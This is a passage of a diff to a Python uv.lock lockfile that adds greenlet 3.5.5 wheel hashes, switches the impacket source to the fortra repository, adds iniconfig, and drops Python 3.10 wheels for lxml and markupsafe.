upload-time = "2026-08-10T14:27:25.229Z" }, + { url = "https://files.pythonhosted.org/packages/78/ac/5c5b959999b6f09c3026b5dfe171575bc3121c5236ce74f495096f25b203/greenlet-3.5.5-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:147b25a42e5ca5be3d42356e8f608b37af715a1c196e9bf9d1627f3341adfe1d", size = 621439, upload-time = "2026-08-10T13:40:49.391Z" }, + { url = "https://files.pythonhosted.org/packages/c8/8b/6acf112ed8aee499f25b4d6949820fb02ac950ff9c1f3d793bd5be0599f2/greenlet-3.5.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:27493374cff1d1b7919dc8126547f2aea582737e3046147b434b1e12de56389b", size = 1581342, upload-time = "2026-08-10T14:15:05.653Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d7/734e5f198888876b42d7616ff6644c075baf6b8a2412deadd6b0e1b8b20c/greenlet-3.5.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:12e2ee66c2aba86133f10fd99d6a8856c6d351ffb7be0e4d52ef2cc5fbb705b2", size = 1645744, upload-time = "2026-08-10T13:40:30.353Z" }, + { url = "https://files.pythonhosted.org/packages/de/30/1f42b88dc587b5899ee50616ad56ee40cafaf225df4fb829f10183c62a5c/greenlet-3.5.5-cp312-cp312-win_amd64.whl", hash = "sha256:49ddacd36af37735fab103846f4ee4d18a492dde72730d1699c0c8ebe30d9f18", size = 324171, upload-time = "2026-08-10T13:28:44.472Z" }, + { url = "https://files.pythonhosted.org/packages/76/e5/4dee4d8d2e603fe5fdd7b444e63219f7b9bd852c60c6214511c7157cbe88/greenlet-3.5.5-cp312-cp312-win_arm64.whl", hash = "sha256:5f1b1ff4828cdc1aba4266aff814085d04a1d07959287219af021b838b265d52", size = 308362, upload-time = "2026-08-10T13:26:46.839Z" }, + { url = "https://files.pythonhosted.org/packages/fb/3d/8cef5f724ec0d4add2af8961d504535ec60c3cca9e464f6d03bdba29d85b/greenlet-3.5.5-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:b79fd2a5bc099b5e744f34c4c9a58954a5f4cb7529fb4b6e8446057d61b6edaa", size = 294730, upload-time = "2026-08-10T13:27:51.206Z" }, + { url = "https://files.pythonhosted.org/packages/88/4b/8e7aa3f514273aecff30a16ab1bac09ff54cfc7e6860fdd8058c37ff2499/greenlet-3.5.5-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:634cf15a233a949136879dd388e25d3296e16f3f1e217d2456797b8579ebc6ed", size = 614536, upload-time = "2026-08-10T14:14:36.589Z" }, + { url = "https://files.pythonhosted.org/packages/85/48/4e95e9dd5a8a397dc6a6345dd7f1935113d0fca4f85e89d3976da9cd988d/greenlet-3.5.5-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:499adea519f748407fc6806d20eedabac2884fd73b9f38d81236e190ba20dfef", size = 626924, upload-time = "2026-08-10T14:27:27.048Z" }, + { url = "https://files.pythonhosted.org/packages/89/5d/398a1c71fa7a277deeb376c999979de6786f08fc2d5747a0b9d6e11738dd/greenlet-3.5.5-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2eabb980975cba5b93a95f6f69287d05fc05ac955bfd6a320a7c083eeb52c0b0", size = 623906, upload-time = "2026-08-10T13:40:50.501Z" }, + { url = "https://files.pythonhosted.org/packages/04/1b/745450fc5ea9e0cb17d840d248f284db3363de736d362c7d2d883e3eadba/greenlet-3.5.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:03115c2e0a371999bf8ae616aa8d653f96641d4705c457aebaa187276e9f7537", size = 1581430, upload-time = "2026-08-10T14:15:06.853Z" }, + { url = "https://files.pythonhosted.org/packages/d4/29/d51b296e3191bb15d3d81ec375af1909e4466c0f395d744ed475801798a9/greenlet-3.5.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4441153ffba21b90d3ca89fe3d31f5c093ae6c0bf0cfdfc98f54cde22f95b62e", size = 1645684, upload-time = "2026-08-10T13:40:32.133Z" }, + { url = "https://files.pythonhosted.org/packages/12/63/369f1a1625e64e9e31df3963c6044056e3fdfa3fa3fdba3c54ffefa6e987/greenlet-3.5.5-cp313-cp313-win_amd64.whl", hash = "sha256:95c5b1f4b3a193f8a0c2de4bfdcb48d119f7f1063941f1de1f2168051b3e52dd", size = 324075, upload-time = "2026-08-10T13:26:58.974Z" }, + { url = "https://files.pythonhosted.org/packages/45/78/649cb5c09d4d81f6dd1444e75474a7206784743283a21d24171562ac4899/greenlet-3.5.5-cp313-cp313-win_arm64.whl", hash = "sha256:1af90aa4bc129883b340cdd6957a3bc74f60528a4993bbd1f53aaebe1d9981cc", size = 308260, upload-time = "2026-08-10T13:27:50.795Z" }, + { url = "https://files.pythonhosted.org/packages/7f/8c/080e881fa2be95ff1ddbd6994b2bab3b1a78df3b3fcab39306011764fcc7/greenlet-3.5.5-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:d4a389a852e392a6366058651a20fa5ba40d979865aa81bea2ccbdc44805070d", size = 295309, upload-time = "2026-08-10T13:26:03.032Z" }, + { url = "https://files.pythonhosted.org/packages/25/cc/0ac614e6586c0e42d4cc281a5819150f4f43685744a4c5ff77139286409d/greenlet-3.5.5-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:70b157cd319873e8b544ddc2de158f55bbd0a9b0218c8ce9332039801518e328", size = 661185, upload-time = "2026-08-10T14:14:37.867Z" }, + { url = "https://files.pythonhosted.org/packages/5e/b9/6808725354be8ad305dfe5172377664fc9642d4fc043be246b3314cf4482/greenlet-3.5.5-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8bdfd1424abcf26832961e766570cae79efdb9599d709088c9cb6ef82b194926", size = 673419, upload-time = "2026-08-10T14:27:28.652Z" }, + { url = "https://files.pythonhosted.org/packages/42/2e/40c509967da7f254680826a2fa0dd22138ec79946c70b97542d74cde8b43/greenlet-3.5.5-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:182de51c6b572a705f2fafaab2e783bcf7d2760940229dfe73086cbae037af3e", size = 670822, upload-time = "2026-08-10T13:40:51.833Z" }, + { url = "https://files.pythonhosted.org/packages/2d/22/c3c2eee4a8fe191d6d1d183086c56133d646024e3d70bfd414829f64560b/greenlet-3.5.5-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8fec3f165dfe332e490c3247c0f6c23b0bfc45f06496ad7f00ddb00e3d35e4dc", size = 1628469, upload-time = "2026-08-10T14:15:08.11Z" }, + { url = "https://files.pythonhosted.org/packages/f7/87/25babd09b94cb1f03e71db815fde463f0262e40cfbd953d58a8d77311351/greenlet-3.5.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c6ce25fee6cabc8bf22cb8b52e642cbb821be5b9aec8094d07ff03378141b8e9", size = 1691952, upload-time = "2026-08-10T13:40:33.502Z" }, + { url = "https://files.pythonhosted.org/packages/2e/3d/5cc9701117ea4dc0eb7bf1f4f9b7888a6e2e5277ddfae095805ace50f2b6/greenlet-3.5.5-cp314-cp314-win_amd64.whl", hash = "sha256:7dffc5c859fe6059974df1e37d7923d654a83e2ae18fdd616994270e001115e1", size = 327458, upload-time = "2026-08-10T13:27:02.868Z" }, + { url = "https://files.pythonhosted.org/packages/a7/6b/594fa2de7fae7629168a404a4305d7d7e31a5742c50a801b1839543cb93d/greenlet-3.5.5-cp314-cp314-win_arm64.whl", hash = "sha256:5e2afcfc4d4305dd715809b03da5cbe437c8984f61d8917751eb5fe4aefa3e07", size = 311146, upload-time = "2026-08-10T13:27:25.046Z" }, + { url = "https://files.pythonhosted.org/packages/24/e0/50cd600b469e5734c72709b6b1838b6bc63f307b573c772c3132d6ecfe92/greenlet-3.5.5-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:0e5a7de979d764aea1f5b6e95cf92b5b37741b9823702041f34b126e7f690277", size = 305471, upload-time = "2026-08-10T13:26:20.568Z" }, + { url = "https://files.pythonhosted.org/packages/75/a3/77acd66dfc6387b5219b2080806c0cabb73c10eb1bb44b413c40a62015ba/greenlet-3.5.5-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fef01bd457f11fc158b130ca0027a3c365693280e8e231b65bdaf57999f39f5b", size = 672470, upload-time = "2026-08-10T14:14:39.058Z" }, + { url = "https://files.pythonhosted.org/packages/b9/71/0d178142dca3ec19f46fb2212ae73d30ad53b9d548dc64804086033a7089/greenlet-3.5.5-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5173a72310725a74afc82c164f0e52cb8ad0de62f2bb623f24f6c0cc07d80272", size = 679973, upload-time = "2026-08-10T14:27:30.072Z" }, + { url = "https://files.pythonhosted.org/packages/6e/31/46eb8567302eaf787abf88d09df014e14ae3baf460af1b8b0efdbd3efcd5/greenlet-3.5.5-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44f08341873200ba8a60a8bc14ace3d91f1754f7fa7bc66157714a8cd420a476", size = 676634, upload-time = "2026-08-10T13:40:53.004Z" }, + { url = "https://files.pythonhosted.org/packages/a3/e9/b88bbf5b29970cb84172dc2c32aa3e5e579ceb94c808e81c826454138850/greenlet-3.5.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:d246c0db9a2513cd45f019ba178ea4d4d4705bd210ee465e2c15d76a1ab13874", size = 1637320, upload-time = "2026-08-10T14:15:09.317Z" }, + { url = "https://files.pythonhosted.org/packages/6d/8c/7631ed29cc6f0392f11830076e172ce4885e70b0bc2c1bce1731176d4b4e/greenlet-3.5.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:72507285b5caa1d17904a3f7c322ca780823a54170a0e04ec3f37bcc60d4db71", size = 1697412, upload-time = "2026-08-10T13:40:34.924Z" }, + { url = "https://files.pythonhosted.org/packages/da/0f/f7dd935f9c4cb1be49098770587f54d8a78518e55c89bce86c4fb4109057/greenlet-3.5.5-cp314-cp314t-win_amd64.whl", hash = "sha256:7805655781fb8f28a55d05fe57ed61f5f10f1892fb587673e3bb5264f28041f0", size = 331514, upload-time = "2026-08-10T13:29:20.611Z" }, + { url = "https://files.pythonhosted.org/packages/b7/e5/681b01f8fbc1b55232822f99e8f8afeb78a55a7c76a7bf9dbdc7ccb03a6d/greenlet-3.5.5-cp315-cp315-macosx_11_0_universal2.whl", hash = "sha256:c0db80fcd5b8aece93f66c64f78a786bbb6b96c5fe63ef5a5a4581ecf8bab206", size = 295975, upload-time = "2026-08-10T13:28:45.985Z" }, + { url = "https://files.pythonhosted.org/packages/11/f2/69b488cd9e7267bf4b0fe8cdebf25d8d6df680d21bdf41150d23e23d6652/greenlet-3.5.5-cp315-cp315-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b241c32f912ada659808d68e308c568baf577eebf757d15471472de0c18cfad", size = 666823, upload-time = "2026-08-10T14:14:40.222Z" }, + { url = "https://files.pythonhosted.org/packages/84/d4/d5bc2fdebbdda0c94555925ba79948b8395d75a7f6a36cc85dce5bab9f11/greenlet-3.5.5-cp315-cp315-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ef6a08349401d8eaf3cb12688ac8557de95788556b8631ef17555a4a173022c0", size = 677613, upload-time = "2026-08-10T14:27:31.543Z" }, + { url = "https://files.pythonhosted.org/packages/bd/93/542d8a3a90f3b35c6ad8bf7e56a03010287f2cafa289a5b7985b5207db39/greenlet-3.5.5-cp315-cp315-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f2e3d061b8e13aec2f0441689b3c71b244a20e5d274a52cb0f7e31bd1d139552", size = 675930, upload-time = "2026-08-10T13:40:54.205Z" }, + { url = "https://files.pythonhosted.org/packages/52/b5/89c9f2e8460d71101037d47a1feed11928615a5edd42370be290e0657eeb/greenlet-3.5.5-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:9ab5f5b93655e77fe0d6c2dfd22b5eac751bb1f876d8ec21761b7c1fb9266007", size = 1633878, upload-time = "2026-08-10T14:15:10.693Z" }, + { url = "https://files.pythonhosted.org/packages/b8/60/297de93f3b02ac78a5e04d32bb8bbe3080f4a73d8ed95016561463b70618/greenlet-3.5.5-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:f0e5a21bd4452a88cf032fc43c4a5b307ab1380eacb63b5988f9c0317885e773", size = 1696597, upload-time = "2026-08-10T13:40:36.252Z" }, + { url = "https://files.pythonhosted.org/packages/18/25/54c6eaff4f337fb670215e89eb2d00d9499487b658e709d4b477be4a342e/greenlet-3.5.5-cp315-cp315-win_amd64.whl", hash = "sha256:469dbb0a78625642f4a626cfd0c6e8bccc0385b5e49189b6308bbe849ec88a8e", size = 327700, upload-time = "2026-08-10T13:28:06.752Z" }, + { url = "https://files.pythonhosted.org/packages/67/67/857e88a36301caa0e029870132c2478bd55d896630321432afab03a3115f/greenlet-3.5.5-cp315-cp315-win_arm64.whl", hash = "sha256:2d57406c3efd32d7a81e17a674314e8bd00792cdab49ea3228a49aa1bfb2e769", size = 311750, upload-time = "2026-08-10T13:34:08.815Z" }, + { url = "https://files.pythonhosted.org/packages/10/e2/3144c0a116067ac1e30457b0139a94d60d1d36a86e015de68e9ac87cb3bc/greenlet-3.5.5-cp315-cp315t-macosx_11_0_universal2.whl", hash = "sha256:68184dfcf50ccaa8e864770fe0633a7e27250ea9329f8192ef47ee9ecfd78e1c", size = 306387, upload-time = "2026-08-10T13:27:00.897Z" }, + { url = "https://files.pythonhosted.org/packages/5c/a1/cb4223a7e9b9f43b8807e8eb212358bfe2dfaa174a9ea2889eb1714dcba2/greenlet-3.5.5-cp315-cp315t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9ec0dc0e59dc9c61af5c47348365ccbbd7addfafe0a93b00336ff3da2907bdc6", size = 676472, upload-time = "2026-08-10T14:14:41.417Z" }, + { url = "https://files.pythonhosted.org/packages/9e/cd/a154b4498e5d8f12ada291cfb3b8d596eadde2177f5bf09a9be699d2a446/greenlet-3.5.5-cp315-cp315t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e604f58e35833fc46ef20302bcb314dddbfd3fcf33a4f936216d51dd678d63ae", size = 684238, upload-time = "2026-08-10T14:27:32.946Z" }, + { url = "https://files.pythonhosted.org/packages/bf/bb/b0031d260c2968a3c87deebc51d80c64e499377f993aafe06ee3b7488cc2/greenlet-3.5.5-cp315-cp315t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:40239b5384f96da3963585cc6d7eaa9b56f8ae67e8d92cc82dd9e202fc847de3", size = 681246, upload-time = "2026-08-10T13:40:55.402Z" }, + { url = "https://files.pythonhosted.org/packages/9a/07/da554b71ab88e649da146e1065d86a48a5c5d92e50ab74ef41b504aa7f56/greenlet-3.5.5-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:a1eaccf5c3a1d3e46dead602c72e6836731e8e245c9de6a27764567b6b62d4c0", size = 1642735, upload-time = "2026-08-10T14:15:11.92Z" }, + { url = "https://files.pythonhosted.org/packages/78/76/26a3782a051677668af9d92beaa47cd87ba9dd5072f762961144a03dd4c6/greenlet-3.5.5-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:19e4e026fe20691f333b8eb1a3bc9625eceba8c3f9d62ec5a6f8581afbc6b5a5", size = 1700925, upload-time = "2026-08-10T13:40:37.656Z" }, + { url = "https://files.pythonhosted.org/packages/28/d9/fe7baf4190c2ae71f267efb9de21b3172bb35bc0ed1ef53dd6027d658e33/greenlet-3.5.5-cp315-cp315t-win_amd64.whl", hash = "sha256:712aee154f648bde84634654bb38bb78c69ac640c37a45c9effed800735049d8", size = 331829, upload-time = "2026-08-10T13:26:48.851Z" }, + { url = "https://files.pythonhosted.org/packages/df/af/419a4e383bd600858a9b67e9b280a60fdc383ee3f2fe5b6c0c1ef04e74d1/greenlet-3.5.5-cp315-cp315t-win_arm64.whl", hash = "sha256:7f049911ee81a16a03c33d5450d8d5867d27f596ca5fb201b86f4524e874468b", size = 315093, upload-time = "2026-08-10T13:29:34.949Z" }, ] [[package]] @@ -834,8 +878,8 @@ wheels = [ [[package]] name = "impacket" -version = "0.14.0.dev0+20260617.63445.e7e6da5a" -source = { git = "https://github.com/blacklanternsecurity/impacket#e7e6da5a345e8405a1412086de20ca154a225bb0" } +version = "0.14.0.dev0+20261001.122511.1875828d" +source = { git = "https://github.com/fortra/impacket#1875828d0f2e987cd89c1bcb45f843708981a199" } dependencies = [ { name = "charset-normalizer" }, { name = "flask" }, @@ -849,6 +893,15 @@ dependencies = [ { name = "six" }, ] +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + [[package]] name = "invoke" version = "3.0.3" @@ -937,22 +990,6 @@ version = "6.1.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/05/3b/aab6728cae887456f409b4d75e8a01856e4f04bd510de38052a47768b680/lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40", size = 4197430, upload-time = "2026-05-18T19:19:06.424Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/12/da/dbe4dfc01ac226fb0504fad035f4d69f3202f3502e20e68537631daddd96/lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60", size = 8541124, upload-time = "2026-05-18T19:17:11.589Z" }, - { url = "https://files.pythonhosted.org/packages/78/20/f7095ed9fc2c025f9cfe71cc6ec9f1feb05624edc1812423b5f1aecf3d4b/lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d", size = 4602783, upload-time = "2026-05-18T19:17:20.888Z" }, - { url = "https://files.pythonhosted.org/packages/4a/a4/65c63ca98bd129f6cff7b8c2fa48953ab058cc6005b541354e7dd54d8000/lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea", size = 5002687, upload-time = "2026-05-18T19:17:01.738Z" }, - { url = "https://files.pythonhosted.org/packages/96/1d/ab7a5c4b5a394d98a94e2d0fc67bab8297597426770dd4978370fbdaf531/lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074", size = 5155099, upload-time = "2026-05-18T19:17:05.159Z" }, - { url = "https://files.pythonhosted.org/packages/d0/b1/07603bfeeb891a2596d5c2a68f7d2f70f7d11c841ebe391412c69c2857b0/lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30", size = 5057225, upload-time = "2026-05-18T19:17:08.117Z" }, - { url = "https://files.pythonhosted.org/packages/7a/16/cb391ee4b90186fa16d9ebcbe3ea96c71b8da3b0686386c8dcbcc3c67d44/lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315", size = 5287643, upload-time = "2026-05-18T19:17:11.507Z" }, - { url = "https://files.pythonhosted.org/packages/eb/d6/b619717f918fd76747448fdbaee0e769edbc70e659b5b5d0112b7020b7a3/lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1", size = 5412445, upload-time = "2026-05-18T19:17:22.182Z" }, - { url = "https://files.pythonhosted.org/packages/c6/80/12bc5390ac0a3edeb579d9535e5049a5dda663438728e179d52fb319c33a/lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206", size = 4770864, upload-time = "2026-05-18T19:17:26.851Z" }, - { url = "https://files.pythonhosted.org/packages/0b/59/6500c09da3137f54f020e908d81cfc5ee3e8888e908fd380207afad7c2e6/lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067", size = 5359594, upload-time = "2026-05-18T19:17:32.527Z" }, - { url = "https://files.pythonhosted.org/packages/f2/9b/f64b4cc6b7ebcf75d95af3cde934d254b5f2f10d4163928d838d86b6eb48/lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a", size = 5107713, upload-time = "2026-05-18T19:17:04.402Z" }, - { url = "https://files.pythonhosted.org/packages/16/19/c7388ad5d3a72315d2832dc1458cbf4f2af7f2b990b606ff4876efd04511/lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa", size = 4803973, upload-time = "2026-05-18T19:17:06.545Z" }, - { url = "https://files.pythonhosted.org/packages/3f/22/76197f0bbf165f0b9e75be59be4997e5259cde973f12f098c1b54c7f5d60/lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383", size = 5349925, upload-time = "2026-05-18T19:17:09.743Z" }, - { url = "https://files.pythonhosted.org/packages/24/52/d2a0cfeccb9bcdc47c7ee05cdae5d69b48c9acf20997790a6338bb0d0b3b/lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1", size = 5309825, upload-time = "2026-05-18T19:17:13.831Z" }, - { url = "https://files.pythonhosted.org/packages/19/4a/b30944266776c2f49749ef2445aa7e78898194134b80ad776386f61b56ae/lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a", size = 3598402, upload-time = "2026-05-18T19:17:08.21Z" }, - { url = "https://files.pythonhosted.org/packages/9e/97/33691c66a4d7ec1a5a98e7c909a5b83ee45c7f7ba4cf92b1c4cf26e98079/lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5", size = 4021295, upload-time = "2026-05-18T19:17:28.638Z" }, - { url = "https://files.pythonhosted.org/packages/d0/5f/26a4dd0e12b9456ff7b12a21af5b491eb6629680d1edd73f4140fd386bcf/lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485", size = 3667717, upload-time = "2026-05-19T19:22:44.474Z" }, { url = "https://files.pythonhosted.org/packages/62/b0/83f481780d1548750b8ce2ec824073deef2f452d9cd1a6faff8507e3d16d/lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2", size = 8526461, upload-time = "2026-05-18T19:17:25.862Z" }, { url = "https://files.pythonhosted.org/packages/b9/d5/30fa0f808002c7329397bfbb24e306789c0b29f04aa5842c07b174b4216f/lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d", size = 4595375, upload-time = "2026-05-18T19:17:34.555Z" }, { url = "https://files.pythonhosted.org/packages/4f/d2/edb71cf0e561581a7c5eb2626244320eb04e9f8ce6d563184fd668b45073/lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510", size = 4923654, upload-time = "2026-05-18T19:17:42.917Z" }, @@ -1067,17 +1104,6 @@ version = "3.0.3" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" }, - { url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" }, - { url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" }, - { url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" }, - { url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" }, - { url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" }, - { url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" }, - { url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" }, - { url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" }, - { url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" }, - { url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, 